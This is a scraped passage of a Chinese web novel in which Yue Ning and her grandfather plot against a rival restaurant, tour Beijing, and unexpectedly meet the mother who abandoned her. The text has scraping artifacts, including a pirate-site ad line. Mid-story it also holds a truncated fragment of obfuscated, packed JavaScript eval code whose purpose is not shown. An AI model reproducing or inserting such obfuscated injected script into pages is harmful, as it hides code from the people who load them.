“爷爷，您别急，就让他们宣传去。您不是有那些朋友吗？咱们出钱，多找些人去胜华楼吃饭，边吃边说丁胜强抢您的鱼，还有其他不择手段抢您生意的事，然后把胶布扔咱们家菜里的事也说出来。让他们说，如果这个胶布真是宝华楼人手上掉下来的，反而没什么大事。毕竟出了这种事，宝华楼肯定会好好整顿。可要是这胶布不是宝华楼人手上掉下来的，那才是真麻烦。这就证明有人在针对宝华楼，今天是胶布，明天是蟑螂，后天说不定就是死老鼠了。谁知道以后会吃到什么？ 岳宝华觉得孙女这个想法有些孩子气，摇了摇头说：“电视台的影响力大，全港城的人都能知道，咱们这样小打小闹能起什么作用？再说食客是来吃饭的，又不是来断案的。 “他们那边那把火烧得越旺越好，我要的就是这么一点点小小的火种。 “这可是伤敌八百，自损一千啊。这么做的话，宝华楼真的就没客人了。 “客人都在呢！丁胜强肯定会趁着这个机会，搞买一送一、打折促销这些活动来招揽顾客。除了几个非您不可的老食客，不过您的老食客们知道您回来找我了，估计也不会去吃。其他人不去宝华楼，自然就去胜华楼了。人不都在那儿吗？岳宁哼笑一声，翻了个白眼，“咱们回去的时候，热度肯定还在，咱们也请电视台的人，您既悲愤又无 奈地去砸胜华楼的玻璃，指责他们趁着您不在陷害宝华楼，打伤阿松叔。有前面这些铺垫，不管有没有证据，这事他们都洗不清了。 “他们才不会在意洗不洗得清，叠码仔的钱哪有干净的？他们只是想抢客人，搞垮宝华楼。丁胜强恨我心狠，不帮他还钱。岳宝华早就看透了这个徒弟。 “这个白眼狼。岳宁笑了一声，“他用低价抢您的客源，咱们回去，让他知道姜是老的辣，辣椒是小的辣。我们把拆鱼羹降到和他们一样的价格，再推出几个新菜。把这些客源抢回来还不是分分钟的事，这段时间就当他是在帮咱们照顾客人了。 楼家富走了，自己又回来了，本来宝华楼就勉强撑着。自己也想让阿松休息，只是怕店不开门会影响客流。现在听宁宁这么一说，岳宝华不禁哑然失笑，他现在是有孙女的人了，而且孙女会做菜，还很有想法。自己怎么还当是一个人撑着宝华楼呢？ 岳宝华笑出声来：“听你的。 书桌上闹钟的指针已经过了九点，岳宁着急地叫起来：“哎呦，我衣服还没洗呢！ 岳宝华被孙女一惊一乍的表情逗笑了，说：“客房提供洗衣服务，别给我省钱。 岳宁一溜小跑，到门口说：“您看我像是大账不会算，小账乱抠的人吗？现在让他们洗，明天早上能送来吗？我明天一早要穿。就过个水，自己动手几分钟的事。 门“砰的一声关上，岳宝华抽了一支烟，笑着去国际长途电话间打电话。果然如宁宁所料，今天晚上港城的社会新闻就报道了港城老牌酒楼宝华楼食客吃出胶布的事。 那就以退为进吧。岳宝华嘱咐四徒弟马上住院，连夜贴出告示，宝华楼暂停营业，所有工人停业几天，工钱照发，再每天给五十块补贴，大家辛苦这么久了，也该歇歇了。 * 到北京的航班每天只有早上八点半一班，昨天约好了六点半在大堂集合。 岳宁提早十分钟出门，到楼梯口见到陈主任，打招呼道：“陈主任，早！ 陈主任回头，看着她，有些不确定：“小岳？ 岳宁嬉皮笑脸地说：“总不会是老岳吧？ 岳宁听见开门声，回头一看，爷爷也出门了，转过头来跟陈主任说：“老岳在后头呢。 陈主任笑出声来：“嘴这么贫？都可以去说相声了。 “北京我没人脉，要不 您给我介绍个师傅，我拜师学艺去？ 陈主任拿她没办法：“你这小丫头。 岳宝华拉着行李箱走过来：“陈主任，早！ “早早！岳先生，我刚才一下子差点没认出小岳来。陈主任再次上上下下、仔仔细细地看了岳宁一遍，跟岳宝华说，“小岳这个打扮好洋气啊！不比你们港城街头的靓女差吧？ 岳宝华昨天已经见过孙女这样的穿着，今天发现又有些不同。 她把头发盘了起来，一件普通甚至有些灰暗的蓝衬衫，解开了上面两颗扣子，袖子随性地撸起，一下子就变得生动起来。下身是卡其色的裤子，裤腿稍短，露出了脚踝，脚上是一双棕色的丁字形皮鞋。 哪怕孙女手里提着一个印着北京天安图案的黑帆布旅行袋，岳宝华也觉得最近港城港姐评选呼声最高的那位小姐都比不上自家宁宁漂亮。 岳宝华认真地说：“很漂亮。 “爷爷，陈主任就是随口夸夸我，您还当真了，您这是‘癞痢头孩子自家的好’。 就跟上辈子网络平台上那些宝妈发自己娃的照片问自家孩子能不能做童模一样，爷爷这是带着亲爷滤镜。 “什么叫癞痢头？乔君贤走过来问道。 “我爷爷夸我漂亮，我跟他说，因为我是他的孩子，所以哪怕我头上长疮了，他也会觉得我最好看。岳宁跟乔君贤解释道。 乔君贤看着她，摇了摇头说：“你不仅漂亮，而且很有魅力。 “夸太多了，我都要膨胀了啊！岳宁提着行李包往楼下走。 “小丫头这是害臊了？陈主任说。 岳宁见昨天从火车站接他们的司机师傅已经在大厅了，转头说：“司机师傅等着了。 司机师傅带着他们走到车边，岳宁先上车坐在后排，乔君贤第二个上来，也往后面走，在她旁边坐下。 岳宝华见乔君贤坐在孙女边上，只能在前面一排坐下，陈主任跟岳宝华坐在一起。 “岳宁，昨晚回来后，我给我爸爸打了电话，跟他商量了开收音机或者电风扇厂的想法，你知道他怎么说吗？乔君贤兴致勃勃地跟她说。 这个乔君贤行动力可真强，昨天下午提的想法，晚上就问长辈了？她问道：“乔先生怎么说的？ “他说，越快越好。乔君贤笑得很开心。 岳宁当然知道海外尤其是北美市场有这么一个好机会。上 辈子，港城有位富豪就是在这个年代用五十万港币起家，做电风扇出口到北美，赚得第一桶金。 不过她这个西北的牧羊女，哪能轻易说出还有出口海外这条路呢？ 她问道：“是吗？ “对。现在美国经济滞涨，宽松政策无效，甚至出现了高达10%的通胀，通胀导致财富缩水，家庭会节省开支。我爸爸说，今年港城生产的电风扇出口量增加得很快。 “哇，乔先生还会关注这些吗？岳宁有些意外。她从爷爷那里知道，乔君贤的父亲如今执掌乔家的船运事业。但按照岳宁上辈子的经验，电风扇这样一个细分行业，不至于让这样一个大老板注意到吧？ “我爸爸会认真阅读报告，就连我大舅舅都会跟他探讨出口风向，以此来预测港城未来百货流行趋势。 陈主任转过头来说：“乔先生的大舅舅是鸿安酒店和商超的叶老板。 “哦！这样啊？ 小说全网首发无弹窗免费阅读ｃａｉｘｓ．ｃom?(请来才 小说 看最新章节 完整章节)岳宁点了点头。 “陈主任，回北京后，麻烦您帮我问一下，怎么跟蛇口工业区的人联系。 “好，我回去马上问。 才说了几句话，机场就到了？不是刚出了城门口吗？感觉还在市区呢。 岳宁下车，看到了比上辈子县城客运站还小的机场。小机场有小机场的好处，上辈子公务机起降的都是一些小型的通用机场，登机速度非常快。 “走了，去北京。陈主任对岳宁说，“请你吃烤鸭。 “好呀！我还要吃卤煮和爆肚儿。岳宁兴奋地跑到陈主任身边。 “都吃，都吃！ 机场确实很小，但是登机速度实在不敢恭维。他们提前了一个小时三刻钟到达，等办完这些手续，离登机也就只剩十几分钟了。 没有廊桥，也不用摆渡车，直接走到飞机舷梯口。眼前的飞机比她上辈子的私人飞机大不了多少。 “小心。 岳宁听见乔君贤提醒她，低下头走进客舱。 岳宁这回和爷爷坐一排，爷爷教她系安全带，又跟她说：“宁宁，等下飞机起飞，如果不舒服，可以张 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岳宁的一声“乔君贤”提醒了岳宝华。乔君贤可是从小被港城报章杂志追着报道的乔家小少爷但凡他身边出现个年轻女孩必然会被挖个底朝天。港城报纸无德怎么抓眼球怎么报道对女孩子尤其刻薄还喜欢无中生有。宁宁又是从大陆过去的他们家实力与乔家相差甚远到时候被报章杂志口诛笔伐这可如何是好？ 岳宁下地走了几步进了航站楼整个人感觉舒服多了。 她说：“我没事了。” 她看见爷爷的行李出来了弯腰提起说：“爷爷行李来了。” 岳宝华回过神来点了点头：“哦哦！” 乔君贤也取到了行李岳宁从他手里接过提包四人一起往外走。陈主任笑着说：“小岳又活蹦乱跳了。” “现在我吃得下一头牛。” 陈主任抬腕看了下表：“直接去吃饭？吃烤鸭？” “好呀！” 四人上车陈主任这回坐副驾驶位跟开车的李师傅说道：“李师傅带客人去吃烤鸭。” 李师傅问道：“陈主任去吃便宜坊呢还是全聚德？” 陈主任转头看向岳宁：“小岳你知道这两家有什么不同吗？” “全聚德的挂炉烤鸭皮脆的特点更加突出。” “哟丫头你还真懂这里面的讲究？在吃上你可真是个行家啊！”陈主任说完又对李师傅说“李师傅去全聚德。” “好嘞！” “那是爸爸为了让我了解焖炉和挂炉的区别你们知道他是怎么做的吗？”岳宁问道。 “怎么做的？”岳宝华很想知道儿子到底是怎么教孙女的。 “做酸菜的陶罐你们知道吧？在陶罐里生火把鸭子挂进去烤这叫焖炉；把家里灶台的铁锅拿开 最艰难的时刻努力教孩子烹饪手艺的无奈之举。” 听到这话车内除了汽车行驶在马路上的声音外一片寂静。 “爸爸跟我说陶罐散热太快会导致鸭子外熟里不熟；火塘烤的话汁水流失太多鸭皮虽脆但肉质变老。他让我有机会一定要去尝尝正宗的北京烤鸭尤其是挂炉烤鸭品尝那一口脆皮。他还说广式烧鸭也可以试试这种脆皮的做法。”意识到出来吃饭却让大家情绪低落了岳宁调整了一下情绪 刚才还吐得脸色惨白这会儿就眉飞色舞了？ 到了店门口岳宁抬头看了一眼那块金字招牌。上辈子这家有着一百多年历史的老字号在市场都在比拼质量、创新和服务的时候三年内亏损了七个亿。那时的她也不免为其感到遗憾毕竟儿时那一口脆皮烤鸭带来的惊艳仍留在她的脑海中。 为了做出那一口脆皮的味道她反复试验推出了那款玻璃皮烧鸭。 陈主任作为东道主点了菜一只烤鸭外加四个菜。 岳宝华做烧腊在港城颇有名气。他还真没想过要去研究北京烤鸭的特点并改进广式烧鸭在他看来那样做简直是欺师灭祖。 当然儿子这么教宁宁是出于无奈却也体现出儿子懂得变通。 这个年代没有厨师推着烤鸭现场片皮而是服务员端着餐盘上菜。看到盘中那焦糖色、晶莹油润的鸭胸皮就知道这块金字招牌的含金量。 服务员介绍道：“这份鸭皮您可以蘸着白糖吃。” 岳宁夹起一片鸭皮直接放入口中岳宝华也跟着夹了一片鸭皮。牙齿咬下鸭皮断裂油脂爆出香气在口中四溢那酥脆、油润、浓香的味道实在美妙。 “太酥太脆了简直入口即化！真绝了！” 上菜的服务员听岳宁这么说脸上露出骄傲的神情：“小同志你这只鸭子可是由祖孙三代都做鸭子的老师傅烤制的当然绝啦。您还是得试试蘸着白糖吃。” 岳宁听从服务员的建议将鸭皮蘸了白糖后塞进嘴里。服务员看着她问道：“味道怎么样？” “酥香、油润和甜蜜交织在一起非常好吃。”岳宁回答道。 等服务员走后岳宁小声说：“我们家也是祖孙三代做鸭子的。爷爷您说是不是？” 岳宝华还在品味着鸭皮的味道乔君贤倒是先笑 了出来。岳宁给他包了个卷饼放在他的盘子里：“大哥你笑点别这么低快吃烤鸭。” 吃过饭后陈主任把他们送到宾馆他的任务也就完成了。 “陈先生谢谢您！一路辛苦您了。”岳宝华握住陈主任的手说道。 “哪里的话？有小岳在这一路特别有意思。”陈主任笑着看向岳宁“还真有点舍不得呢。” 岳宁笑嘻嘻地说：“陈主任等您来港城我们爷孙俩亲手给您做菜。” “我记住啦。小丫头！” 乔君贤和陈主任握手：“我就不说那些道别的话了以后我们接触的机会还多着呢。” “是应该很快就会再见面的！” 和陈主任挥手告别后三人一起等电梯。岳宁兴奋地和岳宝华讨论着如何推出新菜品。 “我能插句话吗？”乔君贤打断了他们的讨论。 祖孙俩这才意识到只顾着自己讨论冷落了乔君贤。乔君贤虽说要去西北重走乔老板当年的路但实际上他是陪着岳宝华去接岳宁回来的。 “二少不好意思！我们俩聊得太投入了。” “华叔我不是这个意思。我是想站在食客的角度说说今天吃的烤鸭。”乔君贤拉着行李箱走进电梯伸手挡住电梯门等祖孙俩进来后继续说道“烤鸭确实好吃但我还是更喜欢华叔做的烧鹅连皮带肉还能啃骨头。烧鹅的皮虽然没有烤鸭皮这么脆但香味浓郁最主要的是肉质鲜咸。这个鸭胸皮刚开始吃觉得油润可吃多了就会觉得腻。就像日本和牛、法国鹅肝第一口觉得很好吃吃两口就没什么胃口了。带一点肉的鸭皮如果蘸酱卷饼吃甜面酱的味道会太浓；但如果不蘸酱单吃烤鸭肉的话又觉得淡而无味。” 乔君贤的这番话让岳宝华陷入了沉默。刚才岳宁说烤鸭特点的时候他一直顺着岳宁的思路。可港城的**多是从外乡来的且以广府人为主口味偏向南方北方的口味到了南方真的能被接受吗？ 看出爷爷的犹豫岳宁微微一笑。她上辈子推出的那款玻璃脆皮烧鸭在各大平台上引发了不少争议。北京烤鸭派、南京烤鸭派和广东烧鸭派的那些美食博主都骂她做出来的是个四不像。 他们骂得越凶却不知道她为了做出这款鸭子 第 21 章 见到那个人 第21章第21章 【见到那个人】 岳宁和乔君贤陪着岳宝华打了长途电话后,一同出门前往故宫。岳宝华说起港城的事，阿松看着电视台轮番播出宝华楼吃出胶布的新闻，急得都快哭了。 “华叔,我打个电话回去,让他们停播这个新闻。” “哇哦！”岳宁惊叹道,“一个电话就能让新闻停播？” 这乔君贤放在上辈子，那可是分分钟能压热搜、全网删帖的小说霸总啊！哪像她这个现实里的“霸总”这么Low，最多只能在网上跟那些黑子互喷。 “乔家大姑太太是港城电视报业大亨蔡家的长媳。”岳宝华说,“不过这事还是……” “挺麻烦的。”岳宁立刻打断爷爷的话，转过头对乔君贤说，“这可真是我瞌睡了你递枕头，不用停播,就让它播。我已经做好铺垫了……” 听到要让岳宝华去指责、砸胜华楼,乔君贤有些担心地看着岳宝华：“华叔做不出来吧？” 岳宁看向爷爷，爷爷的气质确实不像能做这种事的人,她说：“也是哦！那还是我来吧！吵架打架我挺在行的。” 吵架打架在行，这算什么光彩的事吗？ 到了故宫门口才发现今天来得不巧，故宫有重要的外事活动,这个时段不对外开放,实在可惜！ 他们有些失望地准备往回走，一位过路的大爷热情地说：“要不去后边的景山公园，以前那可是皇帝的御花园，还能看到崇祯皇帝上吊的歪脖子树。到了顶上，整个北京城都能尽收眼底。” 大爷给他们指了方向,岳宁谢过大爷,三人一同前往景山公园。 乔君贤带着照相机，岳宁在歪脖子树下打卡留念。 今天天气不算炎热,景山对岳宁来说一点儿都不高，可岳宝华腿有静脉曲张，爬这点高度也觉得很累人。 岳宁陪着爷爷走一会儿，歇一会儿，总算来到了万春亭。站在这个位置，红墙黄瓦、尽显皇家气派的紫禁城尽收眼底，岳宝华这一身汗也算没白流。 岳宝华确实累坏了，找了张长椅坐下歇歇脚。 “岳宁，过来！” 乔君贤招手，岳宁跑过去，乔君贤指着前面的白塔问：“这个角度，怎么样？” 远处山峦横卧，白塔坐落其间，岳宁称赞道：“漂亮。” 她手里被塞了照相机，她 一直以为摄影发烧友会把照相机当成宝贝不让别人碰可这个乔君贤是个例外特别大方直接把照相机塞给她玩。 刚开始他还会帮她调好参数现在索性让她自己调试。岳宁调好了让他看：“这样行吗？” “可以。” 坐在长椅上的岳宝华看着凑在一起的两颗脑袋几次欲言又止。他真的有话想跟宁宁说不说的话只怕今晚都睡不着觉了。 乔老板在港城素有广结善缘、礼贤下士的好名声这可不是虚名就像这次伸手帮自己那是尽心尽力。 可细想一下且不说如今港城的豪门公子们一个个都不愿过早结婚乔君贤的大哥乔君慎快三十了吧？换了四五任女友也没见有结婚的迹象。就算乔君贤愿意结婚与乔家联姻的不是本城豪门就是南洋富商他们这种小富之家实在高攀不起。 “爷爷。”岳宁喊道。 岳宝华回过神岳宁招手说：“我们祖孙俩拍张照片。” 岳宝华走过去被孙女挽着胳膊祖孙俩依偎在一起乔君贤按下了快门。 乔君贤收起相机说：“差不多了我爷爷下午三点多的火车到估计也快到宾馆了我们回去吧？” “走。” 到了山下有个小卖部。乔君贤问：“渴了吧？喝汽水？” 岳宁却看上了小饭桌上摆放的一杯杯用玻璃杯装的酸梅汤大概是为了防止苍蝇盘旋杯子上盖着一片片四方的玻璃。她说：“有冰镇酸梅汤喝这个吧。咱们南方喝凉茶消暑北方就是酸梅汤。” “好啊！华叔您呢？” “我也喝酸梅汤。” 三人各要了一杯酸梅汤。岳宁喝了一口说道：“好喝。” “那当然好喝了酸梅汤可是清宫御用饮品当年慈禧老佛爷就爱喝酸梅汤民间也跟着喜欢上了有‘铜碗声声街里唤一瓯冰水和梅汤’的说法。景山公园是什么地方那可是皇宫后苑……”小卖部的售货员是个三十多岁的男子特别能侃。 岳宁一杯酸梅汤下肚这位大哥还在滔滔不绝地讲古。她放下玻璃杯说：“大哥我纠正一下酸梅汤可比慈禧老佛爷出现得早多了。据传满人进关后依旧爱吃肉胖子特别多乾隆皇帝一看这不行就让人研制出了这么一个方子。乌梅去油解腻桂花温肺化饮甘草泻火解毒、润肺祛痰山楂消食化积、行气散瘀 再加上冰糖一起熬制，就成了您这酸梅汤。您说的那句诗是嘉庆年间的进士郝懿行写的。” “姑娘，你可真有学问。我这是遇到高人了？” 岳宁笑着说：“就是喜欢吃，也喜欢研究吃而已。大哥，再见！” “常来啊！”大哥说道。 “有机会还来。” 乔君贤见岳宁回头，说道：“就连那句诗是谁写的都知道？” 乔君贤说出了岳宝华的心声，这孩子怎么懂这么多？ “你知道我以后想干什么吗？”岳宁问乔君贤。 乔君贤仔细想了想，说：“以你对做菜的钻研，而且华叔刚好有酒楼，你肯定是做酒楼老板。” “对啊！那我会开哪种类型的酒楼呢？”岳宁又问，“是像爷爷这样遵循传统，酒香不怕巷子深，甚至把这条巷子都做出名气的酒楼呢？还是开在高楼大厦里，像咱们住的宾馆里那样的高档餐厅？” 乔君贤认真地说：“以你的年纪和天赋，做高档餐厅没问题。我爷爷本来就建议华叔去铜锣湾开店，你要是真这么想，回港城后可以考虑。这样我以后吃饭就方便了。” 岳宁嘿嘿一笑：“你掉进我二选一的陷阱了！两者都不是。我去了港城，首先要做爷爷的好孙女，帮爷爷一起打理生意。我会把精力放在读书上，我要上大学。我莫伯伯是博士，港城的大学也有博士学位吧？” 她从开酒楼的话题一下子跳到读书上，乔君贤一时没反应过来，只能顺着她的话说：“大学毕业可以拿学士学位，往上还有硕士，然后是博士。你说的莫伯伯，就是那个教你读书的人？” “对。他曾下放改造，和我们父女俩住在一起。”岳宁继续问，“港城的人都读博士吗？” 这几天接触下来，乔君贤一直感觉岳宁的思维跟他们这群在海外接受过良好教育的人没什么区别，可这个问题让他发现，原来她有些方面真的一点概念都没有。 “怎么可能？别说上了年纪那辈人，就是普通人家的年轻一代，大多读到中学就出来打工赚钱养家了。别说是博士，就是副学士都不多见。” 岳宁若有所思地点点头：“那么你们呢？像你们这种有钱人家的孩子，一般读到什么程度？还有，在港城读什么专业赚钱多、地位高？” “有钱人家的孩子一般都去英美留学，拿个学士学位就差不多了，好一点的，像我就拿个商科硕士 。最赚钱的专业？经济商科、法律和医学。乔君贤回答道。 “如果学了经济，工作好找吗？薪水高吗？未来发展前景好吗？岳宁一连串地抛出问题。 岳宝华刚才还为孩子要读书而高兴，现在却有些听不懂了。难道说她在与乔君贤的接触中，觉得做厨师配不上乔君贤，所以萌生了读书提高地位的想法？ 他问道：“宁宁，你不是想做厨师吗？ 乔君贤却高兴了：“你要是学了经济，就来跟**呗！我开厂，你帮我管理工厂。薪水给足，年底还有分红。 “我肯定要做厨师，要做酒楼老板，当然是跟爷爷一起干。我就是问问你，经济商科这类专业毕业的人普遍收入如何？社会地位怎么样？ 乔君贤点头说：“收入高。就算是港城本地大学毕业的，薪水也不差，年底还有分红。普通人月薪一两千，这些人毕业几年，如果做到一定职位，一年能有十几万甚至二十来万。要是能进洋行工作，薪水会更高。港城如今正朝着财经中心方向发展，金融业更是火热，薪水高，地位自然就高。 岳宁拍手道：“那就行了。我就读经济商科，拿个硕士学位。等我拿到硕士学位，我要找个风景特别好的地方，开一家酒楼。要让大家都知道，酒楼的主厨是个读书人。我开酒楼可不是只为了赚钱，中华饮食文化博大精深，我是以菜会友，和大家一起品鉴美食，这是为了情怀，正所谓谈笑有鸿儒，往来无白丁。 上辈子她确实是为了情怀，毕竟身价几百亿的富豪亲手做菜，难道是为了挣钱？ “你是这么打算的？乔君贤觉得她说的好像有点道理，可又好像有些异想天开，“你是为了结交朋友，不是为了赚钱？ “我当然是为了赚钱，而且啊！等让人有了这种深刻印象之后，我就把胡萝卜、白萝卜、水萝卜、青萝卜切成细丝凉拌，取个‘群英荟萃’的菜名，卖你一百八一盘，你也会觉得一点儿都不贵。 “什么？乔君贤倒抽一口气，忍不住笑起来，“群英荟萃。岳宁……你…… 岳宁笑得狡黠：“咱们不挣穷人的钱，专赚有钱人的。 刚刚收起笑容的乔君贤又被她挤眉弄眼的滑稽表情逗得笑岔了气。他好不容易停下，问道：“你都告诉我了，不怕我拆穿你？ “大哥，有钱大家一起赚啊！等我读完书，你这几年怎 么也赚了不少钱了吧？不给我投资？你就是我的活招牌啊！到时候你把我那儿当成你的饭堂，隔三差五来光顾，让那些财主家的公子少爷小姐觉得不来我这里吃饭，都不好意思说自家有钱。岳宁用胳膊肘捅了捅乔君贤，给他使了个眼色，“我生意兴隆，年底大家一起分钱。 乔君贤脑海中浮现出自己站在她的店铺前为她招揽客人的画面，这画面太好笑了，但他不能再笑了。他强压着笑容说：“这听起来是门好生意。 岳宁伸出手：“来来来，合作伙伴，我们握个手。 乔君贤憋住笑，伸手与她握住：“那就说定了，我给你投资。 岳宁豪气地说：“行，萝卜开会我给你打七折。 “萝卜开会？ “就是群英荟萃。 乔君贤憋得都快内伤了，只能侧过身去笑。不行了，再听她说话，他非得疯了不可。 岳宁不理会那个笑得前俯后仰的公子哥儿，对爷爷说：“爷爷，爸爸曾经问我，馄饨摊和高档酒楼哪个更挣钱？ 岳宝华好像明白了什么，却又说不上来。 “他说馄饨摊靠走量，高档酒楼靠卖高价。岳宁眨眨眼，“您知道我怎么说的吗？ 岳宝华摇摇头，岳宁说：“我说，我高价酒楼和馄饨摊都要开。我要让有钱人心甘情愿为我的手艺掏钱，也要让普通人吃得起我的手艺。 岳宝华笑了一声，暗自笑自己尽想些没用的。宁宁的想法真要做起来很难，但孩子有想法，而且方向没错，尤其是读书，这才是正途。 “我们说个你当前马上会遇到的问题。乔君贤说。 岳宁看着他：“什么问题？ “先不说两边教学内容差异巨大，港大的高级程度会考用英文，港中文的入学资格考试用中文，而且是繁体。你怎么办？ 乔君贤问出这句话，忍不住笑了。 岳宁气鼓鼓地问：“乔君贤，你笑什么？你不会是因为我不会英文、不会繁体字，参加不了考试，所以幸灾乐祸吧？ 自己说错话了？岳宁生气了？岳宁怎么一个人走了？ “我不是这个意思，我……乔君贤连忙追上去，想解释，却发现自己贸然出口的话，别人理解下来确实容易产生这种误会。 岳宁停在一位站在石桌边练毛笔字的大爷面前：“大爷，能把您的纸笔借我用一下吗？ 大爷写完 最后一笔直起腰。岳宁转头指着追过来的乔君贤说：“我表哥从港城来他刚才嘲笑我说老祖宗都是写繁体字的还说我不会写就是没文化我要写给他看。” “我没有……”乔君贤着急地分辨。 大爷脸色一沉给她铺了一张纸让出位子：“你来写。” 岳宁提起笔笔尖在砚台上蘸了蘸提笔写下“壹……” “好字啊！” 大爷刚赞叹出声却发现岳宁接着写的是“壹隻憂鬱的烏龜”他疑惑地念道：“一只忧郁的乌龟？这是什么意思？” 岳宁放下笔说：“我跟我表哥说我会写繁体字他就让我写这几个字。不就是这几个字难写嘛！” 大爷看着乔君贤说：“小伙儿长得倒是一表人才就是不够大气。” 冤啊……真冤！乔君贤哭笑不得。 “没事没事。这是文化差异造成的我们互相尊重、互相理解。大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你别自卑啊！这么天才的想法只有我那个天才老爸才想得出来。我小时候特别顽皮莫伯伯说练毛笔字能锻炼我的耐心爸爸就逼着我练字。只要我闯了祸他就让我写这几个字。我一边抹眼泪一边写字你说惨不惨？” “好惨。我以为我小时候什么都要学已经够惨了没想到你比我还惨。” “更惨的是我吃不饱还得学。”岳宁走到爷爷身边“那时候我就想要是爷爷在就好了我让爷爷打我爸爸的屁股。” 这么聪明、活泼又能干的孩子是儿子在那么艰苦的条件下培养出来的岳宝华一点都笑不出来。要是志荣在就好了。 “我懂了你那时候很忧郁想变成一只乌龟缩在龟壳里。”说完乔君贤拔腿就跑。 “乔君贤你等着！” 乔君贤哪里跑得过岳宁这个牧羊女没跑几步就被追上胳膊被一把揪住。 他平时也算经常锻炼力气不算小可岳宁力气太大他挣脱不开。 想起她在小杨沟把一个男人扛起来扔下山的场景乔君贤真担心她也对自己来这么一下。他连忙喊道：“女侠饶命！” 岳宁松开手笑着说：“看在咱们是合作伙伴的份上这次就饶了你。” “多谢女侠饶命。” “你跟我详细讲讲港城考大学的规则吧？” “我读到中三就去美国了我有个从小玩得很好的兄弟考上了港中文所以我大概了解一些但不是特别全面。港城作为殖民地从开埠起就一直推行英文教育英文教育有利于殖民统治就业市场也更青睐英文流利的人。所以英文中学的数量一直多于中文中学民间资助成立的中文中学始终处于弱势地位。别说是去英美留学就算在本港英中的学生也占据很大优势……” 乔君贤一路上跟岳宁细细讲述岳宁捕捉到了最为关键的一点问道：“所以自修生也 可以参加中学会考和高级程度会考？ “考试分为两种，分别是针对英中的高级程度会考和针对中中的高等程度会考，两者存在差异。英中是在中七进行考试，中中则是在中六考试，大学学制也有所不同…… 岳宝华跟在两人身后，听他们谈论考试的事情，心想宁宁哪还用得着他操心呢？ 一路聊着就到了宾馆入口。乔君贤说得太投入，没留意后面的情况，岳宁眼疾手快，一把扯住他：“小心！ 乔君贤一下子撞到岳宁身上，而那辆黑色皇冠轿车已经从他们身边驶过，开到了宾馆门口。 轿车副驾驶座上下来一位短发丽人，朝他们这边看过来，挥手喊道：“君贤。 乔君贤高兴地快步迎上去：“慧仪姐。 这时，车子后座又下来两个人，一个大腹便便的男人和一位妆容精致的美妇。 岳宁原本还在惊叹短发丽人的超有气质，可看到后面出来的贵妇的瞬间，身体不由自主地晃了晃。她紧攥拳头，暗自咬牙告诉自己，这个人与她毫无关系。 这个女人，她只在照片上见过。即便此刻对方烫着头发，涂着红唇，身着香奈儿套装，岳宁还是一眼就认了出来。 这就是那个为了去港城，宁可抛下年仅两岁的她的女人。 小时候，她不明白为什么别人都有妈妈，自己却没有。她吵着向爸爸要妈妈，爸爸拿出照片给她看，照片里那个女人抱着胖乎乎的她。 她对着照片喊“妈妈，直到有一天，她在山上看到被野兽啃得残破不堪的婴孩尸体，吓得跑下山，到地里去找爸爸。爸爸拿着铁锹，让她带着上山，把那具小小的尸体埋了。 晚上吃晚饭时，爸爸和莫伯伯说起这件事，聊到了这个在当时全国都存在的陋**，她这才明白妈妈的决定对自己意味着什么。 如果那时爸爸也跟着走了，她这样一个两岁的小女孩，能不能活下来都很难说。幸好爸爸留了下来，历经千难万险也要把她带在身边。 那天，她用笔尖戳穿了照片上女人的脸，爸爸看到后骂了她，她倔强地大喊：“这个坏女人不是我妈妈，她不是我妈妈！永远都不是我妈妈！ 爸爸收走了照片，把她抱在怀里。她在爸爸怀里说：“宁宁有爸爸，还有莫伯伯，还有春梅婶婶，宁宁不要妈妈。 从那以后，她拼命想要忘记这个女人，可越是想忘，就越是会梦到妈妈把她扔在山坡上、河滩边…… 直到她恢复前世的记忆，上辈子她父母双全，却重男轻女，对她的所有培养都是为了让她为弟弟奉献一切。她释然了，这辈子，她能得到爸爸全心全意的爱，已经比上辈子强多了。那个女人有选择自己人生的权利，她没必要去恨，也不强求彻底忘记，淡化她的存在就好，她终于从这个梦魇中走了出来。 如今见到**，没必要激动，就当是个陌生人吧。 第 22 章 内地的情况 第22章第22章 【内地的情况】 短发丽人目光投向岳宁,饶有兴趣地问道：“这是你女朋友？” 听到这话，原本走路走得有些疲惫的岳宝华，突然加快了脚步向前。短发丽人惊讶地问：“华叔,您怎么也在这儿？” 岳宝华回头看了看站在原地的岳宁,招手喊道：“宁宁,过来！” 岳宁已经调整好了心情，走近时听到乔君贤称呼那个男人“崔世伯”，那个女人“二太”。 岳宁走到岳宝华身边,岳宝华介绍道：“崔老板、崔小姐、二太，我来给你们介绍一下，这是我的孙女岳宁。宁宁，崔老板一家一直是宝华楼的常客,是我们的老食客了。” “孙女？”崔老板一下子愣住了,岳宝华一直孤身一人，哪儿来的孙女？ “我儿子和孙女下放到西北,志荣已经去世多年，就留下了这孩子。乔老板帮忙，让二少陪着我去把宁宁接了回来。” 崔老板知道岳宝华一直在盼着国门打开,与儿子团聚,不禁唏嘘一声：“孩子回来了就好。” 岳宝华转头对岳宁说：“宁宁。” 岳宁走到岳宝华身旁，岳宝华对她说：“这是崔老板、崔二小姐和二太。” 二太？上辈子那些富豪富贵之后，三妻四妾，只要钱能摆平，就按数字排。在港城更是明目张胆,所以她是做人家的二奶？ “崔老板好！” “好！”崔老板回应了岳宁,转头对岳宝华说，“华哥,你孙儿长得真漂亮啊！我服老，咱俩是多年好友，让宁宁叫我一声‘世伯’吧。” 岳宝华笑着说：“那是您看得起我。” “华叔，您这话就见外了。别人家把方子看得比命还重，大姐想请你们供应辉煌的烧腊，您说烧腊热着吃才好吃，直接就把方子给大姐了。”短发丽人走到岳宁旁边，“你和君贤一样，叫我姐吧。” 这位姐姐性格十分豪爽，岳宁顺势说道：“慧仪姐。” 她又喊了一声：“崔世伯。” 岳宁看向那位崔二太，崔二太正盯着她发呆。岳宝华没让她改口，岳宁便说：“二太好。” 那位二太在发呆，没有立刻回应岳宁，还是崔老板提醒她：“婉媚，宁宁在跟你打招呼呢。” 二太回过神来，目光落在岳宁脸上：“宁宁……” 这个声音透 着些许复杂，岳宁露出疑惑的眼神看着她。二太立马收起那种神情，说道：“你好。 崔老板一巴掌拍在岳宝华的背上：“华哥，咱别站在门口了，一起进去坐下聊聊。 岳宝华和崔老板并排走着，乔君贤和崔慧仪并排。乔君贤停下来说：“岳宁，过来。 